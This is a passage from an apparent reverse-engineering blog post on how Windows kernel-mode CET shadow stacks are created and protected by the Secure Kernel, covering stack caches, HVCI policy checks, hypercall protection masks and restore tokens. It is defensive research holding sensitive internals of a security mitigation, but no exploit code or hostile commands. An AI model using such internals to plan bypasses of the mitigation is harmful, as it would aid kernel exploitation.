<p>How does the PRCB cache get populated? When a stack is no longer needed <code class="language-plaintext highlighter-rouge">nt!MmDeleteKernelStack</code> is called. This function can call into <code class="language-plaintext highlighter-rouge">nt!MiAddKernelStackToPrcbCache</code>, which is responsible for re-populating both lists managed by <code class="language-plaintext highlighter-rouge">Prcb-&gt;CachedStacks[2]</code>. <code class="language-plaintext highlighter-rouge">nt!MmDeleteKernelStack</code> works almost identically as <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> - except the result is a deletion. They both even accept the same argument type - which is a structure providing information about stack to be either created or deleted. Specifically for shadow stack scenarios, there is a member of this structure which I have named <code class="language-plaintext highlighter-rouge">ShadowStackForDeletion</code> which is only used in <code class="language-plaintext highlighter-rouge">nt!MmDeleteKernelStack</code> scenarios. If it is possible, the deleted stack is stored in <code class="language-plaintext highlighter-rouge">Prcb-&gt;CachedStacks[]</code> at the appropriate index - which in our case is the second (<code class="language-plaintext highlighter-rouge">1</code> from <code class="language-plaintext highlighter-rouge">0th</code> index) since the second is for shadow stacks.</p>

<p><img src="/images/kcet20.png" alt="" /></p>

<p><img src="/images/kcet21.png" alt="" /></p>

<p>For various reasons, including the fact that there is no free cached stack entry to use from the PRCB, a caller who is requesting a new shadow stack may not receive a cached stack through the current processor’s PRCB. In cases where it is possible to retrieve a cached stack, a caller may receive it through the target partition’s <code class="language-plaintext highlighter-rouge">FreeKernelShadowStackCacheEntries</code> list. A processor grouping is known as a <em>node</em> on a NUMA (Non-uniform memory architecture) system which many modern systems run on. Windows will store particular information about a given node in the <code class="language-plaintext highlighter-rouge">nt!_MI_NODE_INFORMATION</code> structure. There is an array of these structures manageed by the partition object.</p>

<p><img src="/images/kcet22.png" alt="" /></p>

<p>Each node, in addition to the processor’s <code class="language-plaintext highlighter-rouge">KPRCB</code>, has a list of free cached stacks for use!</p>

<p><img src="/images/kcet23.png" alt="" /></p>

<p>This <code class="language-plaintext highlighter-rouge">CachedKernelStacks</code> member of the node information structure is an array of 8 <code class="language-plaintext highlighter-rouge">nt!_CACHED_KSTACK_LIST</code> structures.</p>

<p><img src="/images/kcet24.png" alt="" /></p>

<p>As we mentioned earlier, the variable <code class="language-plaintext highlighter-rouge">cachedKernelStackIndex</code> captured towards the beginning of the <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> function denotes, in the event of this cached stack path being hit, which list to grab an entry from. Each list contains a singly-linked list of free entries for usage. In the event an entry is found, the shadow stack information is also updated as we saw earlier.</p>

<p><img src="/images/kcet25.png" alt="" /></p>

<p>At this point execution would be returned to the caller of <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code>. However, it is also possible to have a new stack created - and that is where the “juice” is, so to speak. The reason why all of these stack cache entries can be so trivially reused is because their security/integrity was properly configured, once, through the full “new” path.</p>

<p>For the “new” stack path (for both shadow and non-shadow, although we will focus on shadow stacks) PTEs are first reserved for the stack pages via <code class="language-plaintext highlighter-rouge">nt!MiReservePtes</code>. Using the global <code class="language-plaintext highlighter-rouge">nt!MiState</code>, the specific system PTE region for the PTE reservation is fetched. Since there can be two types of stacks (non-shadow and shadow) there are now <em>two</em> system PTE regions for kernel-mode stacks. Any stack type not equal to <code class="language-plaintext highlighter-rouge">5</code> is a shadow stack. The corresponding system VA types are <code class="language-plaintext highlighter-rouge">MiVaKernelStacks</code> and <code class="language-plaintext highlighter-rouge">MiVaKernelShadowStacks</code>.</p>

<p><img src="/images/kcet26.png" alt="" /></p>

<p><img src="/images/kcet27.png" alt="" /></p>

<p>After the reservation of the PTEs (shadow stack PTEs in our case) <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> is effectively done with its job. The function will call into <code class="language-plaintext highlighter-rouge">nt!MiAllocateKernelStackPages</code>, which will effectively map the memory reserved by the PTEs. This function accepts one parameter - a structure similar to <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> which I have called <code class="language-plaintext highlighter-rouge">_ALLOCATE_KERNEL_STACK_ARGS</code>. If this function is successful, the <code class="language-plaintext highlighter-rouge">StackCreateContext-&gt;Stack</code> member of our reverse-engineered <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> argument will be filled with the address of the target stack. In our case, this is the address of the shadow stack.</p>

<p><img src="/images/kcet28.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">nt!MiAllocateKernelStackPages</code> will do some standard things, which are uninteresting for our purposes. However, in the case of a shadow stack operation - a call to <code class="language-plaintext highlighter-rouge">nt!VslAllocateKernelShadowStack</code> occurs. A couple of things happen leading up to this call.</p>

<p><img src="/images/kcet29.png" alt="" /></p>

<p>As part of the call to <code class="language-plaintext highlighter-rouge">nt!MiAllocateKernelStackPages</code>, <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> will prepare the arguments, and stores an empty pointer I have named “PFN array”. This PFN array does not hold <code class="language-plaintext highlighter-rouge">nt!_MMPFN</code> structures, but instead quite literally holds the raw/physical PFN value from the “pointer PTE” associated with the target shadow stack address. A pointer PTE essentially means it is a pointer to a set of PTEs that map to a given memory region. This pointer PTE came from the previous call to <code class="language-plaintext highlighter-rouge">nt!MiReservePtes</code> in <code class="language-plaintext highlighter-rouge">nt!MmCreateKernelStack</code> from the shadow stack VA region. This “PFN array” holds the actual PFN from this pointer PTE. The reason it is called a “PFN array” is because, according to my reverse engineering, it is possible to store multiple values (although I always noticed only one PFN being stored). The reason for this is because <code class="language-plaintext highlighter-rouge">nt!VslAllocateKernelShadowStack</code> will call into the Secure Kernel. Because of this, the Secure Kernel can just take the raw PFN and multiply it by the size of a page to calculate the <em>physical</em> address of the pointer PTE. The pointer PTE is important because it points to all of the PTEs reserved for the target shadow stack.</p>

<p>We can also see that this call is gated by the presence of the <code class="language-plaintext highlighter-rouge">nt!_MI_FLAGS</code> bit <code class="language-plaintext highlighter-rouge">ProcessorSupportsShadowStacks</code>. <code class="language-plaintext highlighter-rouge">ProcessorSupportsShadowStacks</code> gets set as a result of initializing the “boot” shadow stacks (like ISR-specific shadow stacks, etc.) The setting of this bit is gated by <code class="language-plaintext highlighter-rouge">nt!KiKernelCetEnabled</code>, which we have already seen earlier (<code class="language-plaintext highlighter-rouge">nt!KiInitializeKernelShadowStacks</code>).</p>

<p><img src="/images/kcet30.png" alt="" /></p>

<p>We only briefly touched on it earlier, but we said that <code class="language-plaintext highlighter-rouge">nt!KiKernelCetEnabled</code> is set if the corresponding bit in the CR4 register for CET support is set. This is only <em>partly</em> true. Additionally, <code class="language-plaintext highlighter-rouge">LoaderParameterBlock-&gt;Extension.KernelCetEnabled</code> must be set, where <code class="language-plaintext highlighter-rouge">LoaderParameterBlock</code> is of type <code class="language-plaintext highlighter-rouge">LOADER_PARAMETER_BLOCK</code>. Why is this important to us?</p>

<p><code class="language-plaintext highlighter-rouge">nt!VslAllocateKernelShadowStack</code>, which we just mentioned a few moments ago, will actually result in a call into the Secure Kernel. This is because <code class="language-plaintext highlighter-rouge">nt!VslAllocateKernelShadowStack</code>, similar to what was shown in a <a href="https://connormcgarr.github.io/secure-images/">previous post</a> of mine, will result in a secure system call.</p>

<p>This means that VBS <em>must</em> be running. This means that it is logical to assume that if <code class="language-plaintext highlighter-rouge">nt!KiKernelCetEnabled</code> is set, and if <code class="language-plaintext highlighter-rouge">MiFlags.ProcessorSupportsShadowStacks</code> is set, the system must know that VBS (more specifically HVCI in our case) is running because if these flags are set, a secure system call will be issued - which infers the Secure Kernel is present. Since <a href="https://keystrokes2016.wordpress.com/2016/02/12/the-booting-processwindows/">as part of the boot process</a> the <code class="language-plaintext highlighter-rouge">LOADER_PARAMETER_BLOCK</code> arrives to us from <code class="language-plaintext highlighter-rouge">winload.exe</code>, we can go directly to <code class="language-plaintext highlighter-rouge">winload.exe</code> in IDA to see how <code class="language-plaintext highlighter-rouge">LoaderParameterBlock-&gt;Extension.KernelCetEnabled</code> is set.</p>

<p>Easily-locatable is the function <code class="language-plaintext highlighter-rouge">winload!OslSetVsmPolicy</code> in <code class="language-plaintext highlighter-rouge">winload.exe</code>. In this function there is a call to <code class="language-plaintext highlighter-rouge">winload!OslGetEffectiveHvciConfiguration</code>. This function “returns” multiple values by way of output-style parameters. One of these values is a boolean which denotes if HVCI is enabled. The way it is determined if HVCI is enabled is via the registry key <code class="language-plaintext highlighter-rouge">HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity</code> since the registry is already available to Windows at this point in the boot process. It also will read present CI policies as well, which are capable of enabling HVCI apparently. If HVCI is enabled, only then does the system go to check the kernel CET policy (<code class="language-plaintext highlighter-rouge">winload!OslGetEffectiveKernelShadowStacksConfiguration</code>). This will also read from the registry (<code class="language-plaintext highlighter-rouge">HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\KernelShadowStacks</code>) where one can denote if “audit-mode”, which results in an ETW event being generated on kernel CET being violated, or “full” mode where a system crash will ensue.</p>

<p><img src="/images/kcet31.png" alt="" /></p>

<p>The reason why I have belabored this point is to outline that kernel CET <strong><em>REQUIRES</em></strong> that HVCI be enabled on Windows! We will see specifically why in the next section.</p>

<p>Moving on, this call to <code class="language-plaintext highlighter-rouge">nt!VslAllocateKernelShadowStack</code> will result in a secure system call. Note that <code class="language-plaintext highlighter-rouge">_SHADOW_STACK_SECURE_CALL_ARGS</code> is not a public type and is just a “custom” local type I created in IDA based on reverse engineering.</p>

<p><img src="/images/kcet32.png" alt="" /></p>

<p>We can now see the arguments that will be passed to VTL 1/Secure Kernel. This is the end the shadow stack creation in VTL 0! Execution now will take over with VTL 1.</p>

<h2 id="debugging-the-secure-kernel-with-sourcepoint">Debugging the Secure Kernel with SourcePoint</h2>
<p><a href="https://www.asset-intertech.com/products/sourcepoint/sourcepoint-intel/">SourcePoint for Intel</a> <a href="https://www.asset-intertech.com/product/sourcepoint-home-bundle/">is</a> a new piece of software that works in conjunction with a specific board (in this case the AAEON UP Xtreme i11 Tiger Lake board) which is capable of “debugging the undebuggable”. SourcePoint (which is what I am using as a term synonymous with “the debugger”) achieves this by leveraging the JTAG technology via the Intel Direct Connect Interface, or DCI. I won’t belabor this blog post by including an entire writeup on setting up SourcePoint. Please follow <a href="https://github.com/connormcgarr/SourcePointDebugging/wiki">this</a> link to my GitHub wiki where I have instructions on this.</p>

<h2 id="shadow-stack-creation-secure-kernel">Shadow Stack Creation (Secure Kernel)</h2>
<p>With the ability to dynamically analyze the Secure Kernel, we can turn our attention to this endeavor. Since I have <a href="https://connormcgarr.github.io/secure-images/">previously shown</a> the basics surrounding secure system calls in my last post, I won’t spend a lot of time here. Where we will pick up is in <code class="language-plaintext highlighter-rouge">securekernel.exe</code> in the secure system call dispatch function <code class="language-plaintext highlighter-rouge">securekernel!IumInvokeSecureService</code>. Specifically on the version of Windows I am using, a secure system call number (SSCN) of <code class="language-plaintext highlighter-rouge">230</code> results in a shadow stack creation operation.</p>

<p><img src="/images/kcet33.png" alt="" /></p>

<p>The first thing that will be done is to take the shadow stack type provided from NT and “convert it” to a “Secure Kernel specific” version via <code class="language-plaintext highlighter-rouge">securekernel!SkmmTranslateKernelShadowStackType</code>. In our case (a user-mode thread’s kernel-mode shadow stack) the <code class="language-plaintext highlighter-rouge">Flags</code> return value is <code class="language-plaintext highlighter-rouge">2</code>, while the translated shadow stack type is also <code class="language-plaintext highlighter-rouge">2</code>.</p>

<p><img src="/images/kcet33a.png" alt="" /></p>

<p>In SourcePoint, we simply set a breakpoint on <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateNtKernelShadowStack</code>. We can see for this operation, the “translated shadow stack” is <code class="language-plaintext highlighter-rouge">2</code>, which is for a user-mode thread receiving a kernel-mode shadow stack.</p>

<p><img src="/images/kcet34.png" alt="" /></p>

<p>The first thing that <code class="language-plaintext highlighter-rouge">securekernel!SkmmCreateNtKernelShadowStack</code> does is to validate the presence of several pre-requisite items, such as the presence of KCET on the current machine, and if the shadow stack type is valid, etc. If these conditions are true, <code class="language-plaintext highlighter-rouge">securekernel!SkmiReserveNar</code> will be called which will reserve a NAR, or <em>Normal Address Range</em>.</p>

<p><img src="/images/kcet35.png" alt="" /></p>

<p>A Normal Address Range, according to <em>Windows Internals, 7th Edition, Part 2</em> “[represents] VTL 0 kernel virtual address ranges”. The presence of a NAR allows the Secure Kernel to be “aware” of a particular VTL 0 virtual address range of interest. NARs are created for various regions of memory, such as shadow stacks (like in our case), the kernel CFG bitmap pages, and other regions of memory which require the services/protection of VTL 1. This most commonly includes the region of memory associated with a loaded image (driver).</p>

<p>The present NARs are stored in what is known as a “sparse” table. This sort of table (used for NARs and many more data types in the Secure Kernel, as mentioned in my <a href="https://connormcgarr.github.io/secure-images/">previous blog</a>) contain many entries, with only the used entries being mapped. However, I noticed in my reversing and debugging this didn’t seem to be the case in some circumstances. After reaching out to my friend <a href="https://x.com/aall86">Andrea Allievi</a>, I finally understood why! Only <em>driver</em> NARs are stored in a sparse table (which is why in my last blog post on some basic Secure Kernel image validation we saw a driver being loaded used the sparse table). In the case of these “one-off”, also known as “static” NARs (used for the CFG bitmap, shadow stacks, etc.), the NARs are not stored in a sparse table - they are instead stored in an AVL tree - tracked through the symbol <code class="language-plaintext highlighter-rouge">securekernel!SkmiNarTree</code>. This tree tracks <em>multiple</em> types of static NARs. In addition to this, there is a shadow stack specific list tracked via <code class="language-plaintext highlighter-rouge">securekernel!SkmiShadowStackNarList</code>.</p>

<p>As part of the NAR-creation logic, the current in-scope NAR (related to the target shadow stack region being created) is added to the list to be tracked of NARs related to shadow stacks (it is also added, as mentioned, to the “static” NAR list via the AVL tree root <code class="language-plaintext highlighter-rouge">securekernel!SkmiNarTree</code>)</p>

<p><img src="/images/kcet36.png" alt="" /></p>

<blockquote>
  <p>As a side note, please take heed that it is not my intent to reverse the entire NAR structure for the purposes of this blog post. The main things to be aware about are that NARs let VTL 1 track memory of interest in VTL 0, and that NARs contain information such as the base region of memory to track, number of pages in the region, the associated <a href="https://connormcgarr.github.io/secure-images/">secure image</a> object (if applicable), and other such items.</p>
</blockquote>

<p>One of the main reasons for tracking NARs related to shadow stacks in its own unique list is due to the fact there are a few scenarios where work needs to be completed against all shadow stacks. This includes integrity checks of shadow stack performed by Secure Kernel Patch Guard (SKPG) and also when the computer is going through hibernation.</p>

<p><img src="/images/kcet37.png" alt="" /></p>

<p>Moving on, after the NAR creation you will notice several calls to <code class="language-plaintext highlighter-rouge">securekernel!SkmiGetPteTrace</code>. This functionality is used to maintain the state of transitions of various memory targets like NTEs, PTEs and PFNs. I learned this after talking, again, to Andrea, who let me know why I was always seeing these calls fail. The reason these calls are not relevant to us (and why they don’t succeed, thus gating additional code) is because logging every single transition would be very expensive and it is not of great importance. Because of this there are only certain circumstances where logging takes place. In the example below <code class="language-plaintext highlighter-rouge">securekernel!SkmiGetPteTrace</code> would trace the transition of the NTEs associated with the shadow stack (as the NTEs are configured part of the functionality of reserving the NAR.) An NTE, for the unfamiliar reader, is called a “Normal Table Entry” and there is one NTE associated with every “page of interest” that the Secure Kernel wants to protect in VTL 0 (notice how I did not say <em>every</em> page in VTL 0 has an associated NTE in VTL 1). NTEs are stored and indexed through a global array, just like PTEs historically have been in NT.</p>

<p><img src="/images/kcet38.png" alt="" /></p>

<p>Note, as well that <code class="language-plaintext highlighter-rouge">KeGetPrc()</code> call in the above screenshot is wrong. This is because, although <code class="language-plaintext highlighter-rouge">KeGetPrc()</code> simply just grab whatever is in <code class="language-plaintext highlighter-rouge">[gs:0x8]</code>. However, just as both the kernel and user-mode make use of GS for their own purposes, Secure Kernel does the same. The “PRC” data in Secure Kernel is in its <em>own</em> format (the same with thread objects and process objects). This is why IDA does not know how to deal with it.</p>

<p>After the NAR (and NTEs are tracked), and skipping over the aforementioned logging mechanism, a loop in invoked which calls <code class="language-plaintext highlighter-rouge">securekernel!SkmiClaimPhysicalPage</code>. There are two parameters leveraged here, the physical frame which corresponds to the original pointer PTE provided as one of the original secure system call arguments and a bitmask, presumably a set of flags to denote the type of operation.</p>

<p><img src="/images/kcet39.png" alt="" /></p>

<p><img src="/images/kcet40.png" alt="" /></p>

<p>This loop will iterate over the number of PTEs related to the shadow stack region, calling into <code class="language-plaintext highlighter-rouge">securekernel!SkmiClaimPhysicalPage</code>. This function will allow the Secure Kernel to own these physical pages. This is achieved primarily by calling <code class="language-plaintext highlighter-rouge">securekernel!SkmiProtectPageRange</code> within <code class="language-plaintext highlighter-rouge">securekernel!SkmiClaimPhysicalPage</code>, setting the pages to read-only in VTL 0, and thus allowing us later down the road to map them into the virtual address space of the Secure Kernel.</p>

<p><img src="/images/kcet41.png" alt="" /></p>

<p>Now you will see that I have commented on this call this will mark the pages as read-only. How did I validate this? The call to <code class="language-plaintext highlighter-rouge">securekernel!SkmiProtectPageRange</code> will, under the hood, emit a hypercall (<code class="language-plaintext highlighter-rouge">vmcall</code>) with a hypercall code of <code class="language-plaintext highlighter-rouge">12</code> (decimal). As I mentioned before in a <a href="https://connormcgarr.github.io/hvci/">post about HVCI</a> that the call code of <code class="language-plaintext highlighter-rouge">12</code>, or <code class="language-plaintext highlighter-rouge">0xC</code> in hex, corresponds to the <code class="language-plaintext highlighter-rouge">HvCallModifyVtlProtectionMask</code> hypercall, according to the TLFS (<a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/tlfs">Hypervisor Top Level Functional Specification</a>). This hypercall is capable of requesting that a given guest page’s protection mask is modified. If we inspect the arguments of the hypercall, using SourcePoint, we can get a clearer picture of what this call does.</p>

<p><img src="/images/kcet42.png" alt="" /></p>

<ol>
  <li>Bytes 0-8 (8 bytes) are the target partition. <code class="language-plaintext highlighter-rouge">-1</code> denotes “self” (<code class="language-plaintext highlighter-rouge">#define HV_PARTITION_ID_SELF ((HV_PARTITION_ID) -1)</code>). This is because we are dealing with the root partition (see previously-mentioned the post on HVCI for more information on partitions)</li>
  <li>Bytes 8-12 (4 bytes) denote the target mask to set. In this case we have a mask of <code class="language-plaintext highlighter-rouge">9</code>, which corresponds to <code class="language-plaintext highlighter-rouge">HV_MAP_GPA_READABLE | HV_MAP_GPA_USER_EXECUTABLE</code>. (This really just means marking the page as read-only, I talked with Andrea as to why <code class="language-plaintext highlighter-rouge">HV_MAP_GPA_USER_EXECUTABLE</code> is present and it is an un-related compatibility problem).</li>
  <li>Bytes 12-13 (1 bytes) specify the target VTL (in this case VTL 0)</li>
  <li>Bytes 13-16 (3 bytes) are reserved</li>
  <li>Bytes 16-N (N bytes) denote the target physical pages to apply the permissions to. In this case, it is the physical address of the shadow stack in VTL 0. Remember, physical are <em>identity-mapped</em>. The physical addresses of memory are the same in the eyes of VTL 1 and VTL 0, they just have a different set of permissions applied to them depending on which VTL the processor is currently executing in.</li>
</ol>

<p>This prevents modification from VTL 0 and allows the Secure Kernel to now safely map the memory and initialize it as it sees fit. The way this is mapped into the Secure Kernel is through the region of memory known as the <em>hyperspace</em>. A PTE from the hyperspace region is reserved and the contents are filled with the appropriate control bits and the PFN of the target shadow stack region.</p>

<p><img src="/images/kcet43.png" alt="" /></p>

<p>Hyperspace is a region of memory, denoted by <em>Windows Internals 7th Edition, Part 1</em>, where memory can be temporarily mapped into system space. In this case, it is temporarily mapped into the Secure Kernel virtual address space in order to initialize the shadow stack with the necessary information (and then this mapping can be removed after the changes are committed, meaning the physical memory itself will be configured still). After the shadow stack region is mapped the memory is zeroed-out and <code class="language-plaintext highlighter-rouge">securekernel!SkmiInitializeNtKernelShadowStack</code> is called to initialize the shadow stack.</p>

<p><img src="/images/kcet44.png" alt="" /></p>

<p>The main emphasis of this function is to properly initialize the shadow stack based on the <em>type</em> of shadow stack. If you read the <a href="https://kib.kiev.ua/x86docs/Intel/CET/334525-003.pdf">Intel CET Specs</a> on supervisor (kernel) shadow stacks, something of interest stands out.</p>

<p>For a given shadow stack, at offset <code class="language-plaintext highlighter-rouge">0xFF8</code> (what we will refer to as the “bottom” of the shadow stack and, yes I am aware the stack grows towards the lower addresses!), something known as the “supervisor shadow stack token” is present. A token (as we will refer to it) is used to verify a shadow stack, and also provides metadata such as if the current stack is busy (being actively used on a processor, for example). The token is important, as mentioned, because it is used to <em>validate</em> a supervisor shadow stack is an actual <em>valid</em> shadow stack in kernel mode.</p>

<p><img src="/images/kcet44a.png" alt="" /></p>

<p>When a kernel-mode shadow stack creation operation is being processed by the Secure Kernel, it is the Secure Kernel’s job to configure the token. The token can be created with one of the following three states:</p>

<ol>
  <li>A token is present, with the “busy” bit set, meaning this shadow stack is going to be active on a processor</li>
  <li>A token is present, with the “busy” bit cleared, meaning this shadow stack is not immediately going to be active on a processor</li>
  <li>A zero (NULL) value is provided for the token value</li>
</ol>

<p>There are technically two types of tokens - the first is a “normal” token (with the busy or non-busy bit set), but then there is something known as a <em>restore</em> token. When the third scenario above occurs, this is the result of a restore token being created instead of an “actual” token (although it is possible to specify a configuration for both restore and “regular” tokens together).</p>

<p>A restore token is a “canary”, if you will, that the CPU can use to go and locate a previous shadow stack pointer (SSP) value. Quite literally, as the name infers, this is a <em>restore</em> point the OS (Secure Kernel in our case) can create during a shadow stack creation operation, to allow the current execution to “switch” over to this shadow stack at a later time.</p>

<p>A restore token is usually used in conjunction with a <code class="language-plaintext highlighter-rouge">saveprevssp</code> (save previous SSP) instruction in order to allow the CPU to switch to a new shadow stack value, while preserving the old one. When a restore operation (<code class="language-plaintext highlighter-rouge">rstorssp</code>) occurs, a restore token is processed. The result of the <code class="language-plaintext highlighter-rouge">rstorssp</code> is a returning of the shadow stack associated with restore token (after the token has been validated and verified). This allows the CPU to switch to a new/target shadow stack (there is a section in the Intel CET specification called “RSTORSSP to switch to new shadow stack” which outlines this pattern).</p>

<p>In our case (a user-mode thread’s kernel-mode stack) only the restore token path is taken. This actually occurs at the <em>end</em> of <code class="language-plaintext highlighter-rouge">securekernel!SkmiInitializeNtKernelShadowStack</code>.</p>

<p><img src="/images/kcet44b.png" alt="" /></p>

<p>Before I talk more on the restore token, I just mentioned the setting of the restore token occurs at the end of the initialization logic. Let us first see what other items are first configured in the initialization function before going into more detail on the restore token.</p>

<p>The other main item configured is the return address. This needs to be set where we would like execution to pick up back in VTL 0. We know a user-mode thread with a kernel-mode shadow stack is denoted as <code class="language-plaintext highlighter-rouge">2</code> in the Secure Kernel. The target return address is extracted from <code class="language-plaintext highlighter-rouge">securekernel!SkmmNtFunctionTable</code>, based on this flag value.</p>

<p><img src="/images/kcet45.png" alt="" /></p>

<p>Using SourcePoint we can see this actually points to <code class="language-plaintext highlighter-rouge">nt!KiStartUserThread</code> in our case (<code class="language-plaintext highlighter-rouge">Flags &amp; 2 != 0</code>). We can see this being stored on the target shadow stack (the SK’s current mapping of the target shadow stack is in <code class="language-plaintext highlighter-rouge">R10</code> in the below image).</p>

<p><img src="/images/kcet46.png" alt="" /></p>

<p><img src="/images/kcet47.png" alt="" /></p>

<p>Right after the return address is copied to the shadow stack, this is also where also where <code class="language-plaintext highlighter-rouge">OutputShadowStackAddress</code> is populated, which is directly returned to VTL 0 as the target shadow stack in the VTL 0 virtual address space.</p>

<p><img src="/images/kcet47a.png" alt="" /></p>

<p>We can see that <code class="language-plaintext highlighter-rouge">OutputShadowStackAddress</code> will simply contain the address <code class="language-plaintext highlighter-rouge">shadow_stack + 0xff0</code> (plus a mask of <code class="language-plaintext highlighter-rouge">1</code>). This is, in our case, the restore token! The restore token is simply the address where the token is on the shadow stack (<code class="language-plaintext highlighter-rouge">shadow_stack + 0xff0</code> on the shadow stack OR’d with <code class="language-plaintext highlighter-rouge">1</code> in our case).</p>

<p>In addition, according to the Intel CET specification, the lowest bit of the restore token is reserved to denote the “mode”. <code class="language-plaintext highlighter-rouge">1</code> indicates this token is compatible with the <code class="language-plaintext highlighter-rouge">rstorssp</code> instruction (which we will talk about shortly).</p>

<p>Going back to earlier, I mentioned this was a restore token but didn’t really indicate how I knew this. How did I go about validating this? I skipped ahead a bit and let the secure system call return (don’t worry, I am still going to show the full analysis of the shadow stack creation). When the call returned, I examined the contents of the returned shadow stack.</p>

<p><img src="/images/kcet47b.png" alt="" /></p>

<p>As we can see above, if we clear the lower bit of the restore token (which is reserved for the “mode”) and use this to dump the memory contents, this restore token does, in fact, refer to the shadow stack created from the secure system call! This means, at minimum, we know we are dealing with a supervisor shadow stack token (even if we don’t know what type yet). If this is a restore token, this token will refer to the “current” shadow stack (current in this case does not mean currently executing, but current in the context of the shadow stack that is returned from the target shadow stack creation operation).</p>

<p>To find out if this is a restore token we can set a break-on-access breakpoint on this token to see if it is ever accessed. Upon doing this, we can see it is accessed!. Recall break-on-access breakpoints break into the debugger <em>after</em> the offending instruction executed. If we look at the previous instruction, we can see that this was as a result of a <code class="language-plaintext highlighter-rouge">rstorssp</code> instruction! This is a “Restore Saved Shadow Stack Pointer” instruction, which consumes a restore token!</p>

<p><img src="/images/kcet47c.png" alt="" /></p>

<p><img src="/images/kcet47d.png" alt="" /></p>

<p>When a <code class="language-plaintext highlighter-rouge">rstorssp</code> instruction occurs, the restore token (which is now the SSP) is replaced (swapped) with a “previous SSP” token - which is the old SSP. We can see in the second-to-last screenshot that the restore token was swapped out with some other address, which was the old SSP. If we examine the old SSP, we can see the thread associated with this stack was doing work similar to our target shadow stack.</p>

<p>This outlines how the target shadow stack, as a result of the secure system call, is switched to! A restore token was created for the “in-scope” shadow stack and, when execution returned to VTL 0, the <code class="language-plaintext highlighter-rouge">rstorssp</code> instruction was used to switch to this shadow stack as part of execution! Thank you (as always) to my friend <a href="https://x.com/aionescu">Alex Ionescu</a> for pointing me in the right direction in regards to restore tokens.</p>

<p>Moving on, after the initialization is achieved (the token and target return address are set), the Secure Kernel’s usage of the shadow stack is complete, meaning we no longer need the hyperspace mapping. Recall that this was just the <em>Secure Kernel</em> mapping of the target shadow stack. Although this page will be unmapped from the Secure Kernel’s <em>virtual address space</em>, these changes will still remain committed to <em>physical</em> memory. This can be seen below by inspecting the <em>physical</em> memory associated with the target shadow stack.</p>

<p><img src="/images/kcet48.png" alt="" /></p>

<p>After the shadow stack is prepped, effectively the last thing that is done is for the Secure Kernel to provide the appropriate permissions to the associated <em>physical</em> page. This, again, is done through the <code class="language-plaintext highlighter-rouge">HvCallModifyVtlProtectionMask</code> hypercall by way of <code class="language-plaintext highlighter-rouge">securekernel!SkmiProtectSinglePage</code>.</p>

<p><img src="/images/kcet48a.png" alt="" /></p>

<p>All of the parameters are the same except for the flags/mask. <code class="language-plaintext highlighter-rouge">HV_MAP_GPA_READABLE</code> (<code class="language-plaintext highlighter-rouge">0x1</code>) is combined with what seems to be an undocumented value of <code class="language-plaintext highlighter-rouge">0x10</code> which I will simply call <code class="language-plaintext highlighter-rouge">HV_MAP_GPA_KERNEL_SHADOW_STACK</code> since it has no official name. The <a href="https://github.com/ia32-doc/ia32-doc/blob/main/yaml/Intel/VMX/EPT.yml">Intel SDM Docs</a> shed a bit of light here. The (what I am calling) <code class="language-plaintext highlighter-rouge">HV_MAP_GPA_KERNEL_SHADOW_STACK</code> bit in the mask likely sets bit 60 (<code class="language-plaintext highlighter-rouge">SUPERVISOR_SHADOW_STACK</code>) in the EPTE. This is surely what <code class="language-plaintext highlighter-rouge">0x10</code> denotes in our <code class="language-plaintext highlighter-rouge">0x11</code> mask. This will mark the page to be treated as read-only (in context of VTL 0) and also treated like a kernel-mode shadow stack page by the hypervisor!</p>

<p><img src="/images/kcet49.png" alt="" /></p>

<p>After the protection change occurs, this is the end of the interesting things which happen in the shadow stack creation process in the Secure Kernel! The shadow stack is then returned back to VTL 0 and the target thread can finish initializing. We will now shift our attention to some interesting edge cases where SK’s support is needed still!</p>

<h2 id="kernel-shadow-stack-assist-functionality">Kernel Shadow Stack Assist Functionality</h2>
<p>We have, up until this point, seen how a kernel-mode shadow stack is prepared by the Secure Kernel. Now that this has finished, it is worth investigating some of the integrity checks and extra verification the Secure Kernel is responsible for. There is a secure system call in <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> named <code class="language-plaintext highlighter-rouge">nt!VslKernelShadowStackAssist</code>. This function, as we can see, is called from a few different scenarios of interest.</p>

<p><img src="/images/kcet50.png" alt="" /></p>

<p>There are certain scenarios, which we can see above, where shadow stacks need <em>legitimate</em> modification. NT delegates these situations to the Secure Kernel since it is a higher security boundary and can protect against unauthorized “taking advantage” of these scenarios. Let’s examing one of these situations. Consider the following call stack, for example.</p>

<p><img src="/images/kcet51.png" alt="" /></p>

<p>Here we can see, as part of a file open operation, the operation performs an access check. In the event the proper access is not granted, an exception is raised. This can be seen by examining the raising of the exception itself in NTFS, where the call stack above identifies this exception being raised from.</p>

<p><img src="/images/kcet52.png" alt="" /></p>

<p>What happens in this scenario is eventually an exception is dispatched. When an exception is dispatched, this will obviously change the thread’s context. Why? Because the thread is no longer doing what is was previously doing (an access check). It is now dealing with an exception. The appropriate exception handlers are then called in order to potentially correct the issue at hand.</p>

<p>But after the exception handlers are called, there is another issue. How do we make the thread “go back” to what it was previously” doing if the exception can be satisfied? The way this is achieved is by <em>explicitly</em> building and configuring a <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure which sets the appropriate instruction pointer (to the operation we were previously executing), stack, thread state, etc. One of the items in the list of things we need to restore is the stack. Consider now we have the implementation of CET! This also means we need to restore the appropriate <em>shadow</em> stack as well. Since the shadow stack is very important as an exploit mitigation, this is not work we would want delegated to NT, since we treat NT as “untrusted”. This is where the Secure Kernel comes in! The Secure Kernel is already aware of the shadow stacks, and so we can delegate the task of restoring the appropriate shadow stack to the Secure Kernel! Here is how this looks.</p>

